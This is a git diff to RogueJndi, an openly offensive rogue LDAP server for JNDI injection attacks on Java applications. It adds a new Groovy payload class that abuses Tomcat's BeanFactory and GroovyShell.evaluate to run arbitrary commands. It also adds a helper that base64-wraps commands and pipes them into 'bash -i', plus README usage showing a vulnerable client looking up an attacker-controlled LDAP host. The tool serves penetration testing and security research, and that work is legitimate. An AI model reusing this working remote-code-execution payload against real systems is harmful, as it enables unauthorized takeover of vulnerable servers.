diff --git a/README.md b/README.md index 1a0e233..7b14ffd 100755 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ A malicious LDAP server for JNDI injection attacks. The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.: ```java -InitialContext.lookup("ldap://your_server.com:1389/o=reference"); +InitialContext.doLookup("ldap://your_server.com:1389/o=reference"); ``` It will initiate a connection from the vulnerable client to the local LDAP server. Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution. @@ -16,6 +16,7 @@ In addition to the known JNDI attack methods(via remote classloading in referenc ### Supported payloads * [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191 * [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** +* [Groovy.java](/src/main/java/artsploit/controllers/Groovy.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** + **groovy.lang.GroovyShell** * [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory** * [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory** @@ -47,7 +48,7 @@ As an alternative to the "-c" option, you can modify the [ExportObject.java](/sr ### Example: ``` -$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10" +$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10" +-+-+-+-+-+-+-+-+-+ |R|o|g|u|e|J|n|d|i| +-+-+-+-+-+-+-+-+-+ @@ -56,6 +57,7 @@ Starting LDAP server on 0.0.0.0:1389 Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat +Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 @@ -75,9 +77,11 @@ This software is provided solely for educational purposes and/or for testing sys * [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks * [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository * [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research +* [Orange Tsai](https://twitter.com/orange_8361) and [Welk1n](https://github.com/welk1n) for the Apache + Groovy gadget ### Links * An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog +* [How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM](https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html) ### Authors -[Michael Stepankin](https://twitter.com/artsploit), Veracode Research \ No newline at end of file +[Michael Stepankin](https://twitter.com/artsploit) \ No newline at end of file diff --git a/pom.xml b/pom.xml index e962d83..399476d 100644 --- a/pom.xml +++ b/pom.xml @@ -4,7 +4,7 @@ RogueJndi RogueJndi - 1.0 + 1.1 jar @@ -38,6 +38,12 @@ 0.9.12 + + org.codehaus.groovy + groovy + 2.4.5 + + org.apache.commons commons-text diff --git a/src/main/java/artsploit/Utilities.java b/src/main/java/artsploit/Utilities.java index d894091..dc24eab 100644 --- a/src/main/java/artsploit/Utilities.java +++ b/src/main/java/artsploit/Utilities.java @@ -4,6 +4,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.ArrayList; +import java.util.Base64; public class Utilities { @@ -40,4 +41,15 @@ public class Utilities { else return baseDN.substring(startIndex, endIndex); } + + /** + * Encode bash command with Base64 to safely use within any script + * @param command + * @return + */ + public static String getBase64CommandTpl(String command) { + return "bash -c {echo," + + Base64.getEncoder().encodeToString(command.getBytes()) + + "}|{base64,-d}|{bash,-i}"; + } } diff --git a/src/main/java/artsploit/controllers/Groovy.java b/src/main/java/artsploit/controllers/Groovy.java new file mode 100644 index 0000000..47fd6c3 --- /dev/null +++ b/src/main/java/artsploit/controllers/Groovy.java @@ -0,0 +1,51 @@ +package artsploit.controllers; + +import artsploit.Config; +import artsploit.annotations.LdapMapping; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; + +import javax.naming.StringRefAddr; + +import static artsploit.Utilities.getBase64CommandTpl; +import static artsploit.Utilities.serialize; + +/** + * Yields: + * RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory} + * When bean is created on the server side, we can control its class name and setter methods, + * so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script + * + * @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details + * + * Requires: + * Tomcat and Groovy in classpath + * + * @author https://twitter.com/orange_8361 and https://github.com/welk1n + */ +@LdapMapping(uri = { "/o=groovy" }) +public class Groovy implements LdapController { + + String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command)); + + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + + System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload"); + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); + ref.add(new StringRefAddr("forceString", "x=evaluate")); + ref.add(new StringRefAddr("x",payload)); + + e.addAttribute("javaSerializedData", serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } +} diff --git a/src/main/java/artsploit/controllers/Tomcat.java b/src/main/java/artsploit/controllers/Tomcat.java index ce40061..b1d1c79 100644 --- a/src/main/java/artsploit/controllers/Tomcat.java +++ b/src/main/java/artsploit/controllers/Tomcat.java @@ -22,6 +22,7 @@ import static artsploit.Utilities.serialize; * @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details * * Requires: + * Tomcat 8+ or SpringBoot 1.2.x+ in classpath * - tomcat-embed-core.jar * - tomcat-embed-el.jar * diff --git a/src/test/java/RogueJndiTest.java b/src/test/java/RogueJndiTest.java index 86b3e6e..9e3ca55 100644 --- a/src/test/java/RogueJndiTest.java +++ b/src/test/java/RogueJndiTest.java @@ -22,6 +22,7 @@ public class RogueJndiTest { RogueJndi.main(new String[0]); } + @Ignore @Test public void reference() throws Exception { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); @@ -33,6 +34,11 @@ public class RogueJndiTest { testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat"); } + @Test + public void groovy() throws Exception { + testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=groovy"); + } + @Ignore @Test public void websphere1() throws Exception {